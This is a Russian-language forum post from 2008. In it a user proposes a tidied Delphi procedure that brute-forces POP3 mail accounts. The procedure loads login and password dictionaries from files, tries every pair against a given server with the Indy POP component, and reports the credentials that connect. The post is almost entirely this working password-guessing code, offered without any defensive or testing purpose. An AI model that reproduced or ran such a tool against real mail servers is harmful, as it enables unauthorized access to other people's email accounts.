Показать сообщение отдельно
  #3  
Старый 23.12.2008, 10:32
Grunch Grunch вне форума
Новичок
 
Регистрация: 08.04.2008
Адрес: Краснодар
Сообщения: 52
Репутация: 10
По умолчанию

Позволю себе не согласиться с san-46. Логически все верно, для каждого логина перебираются возможные варианты пароля из словаря. И лишних итераций вроде быть не должно.
Я бы обернул всю процедуру в try..finally:
Код:
procedure TForm1.Button1Click(Sender: TObject);

var
  LoginStrings, PassStrings:TStrings;
  i, j:Integer;
begin //Создаем массивы строк
  try
    LoginStrings:=TStringList.Create;
    PassStrings:=TStringList.Create; //Загружаем варианты — справочники имен и паролей
    LoginStrings.LoadFromFile(NameEdit.Text);
    PassStrings.LoadFromFile(PassEdit.Text) ; //Устанавливаем адрес и порт сервера
    IdPOP.Host := ServerNameEdit.Text;
    IdPOP.Port := StrToInt(PortEdit.Text); //Начинаем перебор
    for i:=0 to LoginStrings.Count-1 do
      for j:=0 to PassStrings.Count-1 do
      begin //Передаем имя и пароль компоненту
        IdPOP.Username := LoginStrings.Strings[i];
        IdPOP.Password := PassStrings.Strings[j];  //Попытка соединения.
        try
          IdPOP.Connect;
        except
        end; //Если соединение установлено, то выводим об этом сообщение
        if IdPOP.Connected then
        begin //Показываем найденный пароль
          Application.MessageBox(PChar('Имя:'+LoginStrings.Strings[i]+
          'Пароль:'+PassStrings.Strings[j]), 'Пароль найден');
          IdPOP.Disconnect;
          Exit;
        end;
      end; //Уничтожаем массивы строк
    finally
      LoginStrings.Free;
      PassStrings.Free;
  end;
end;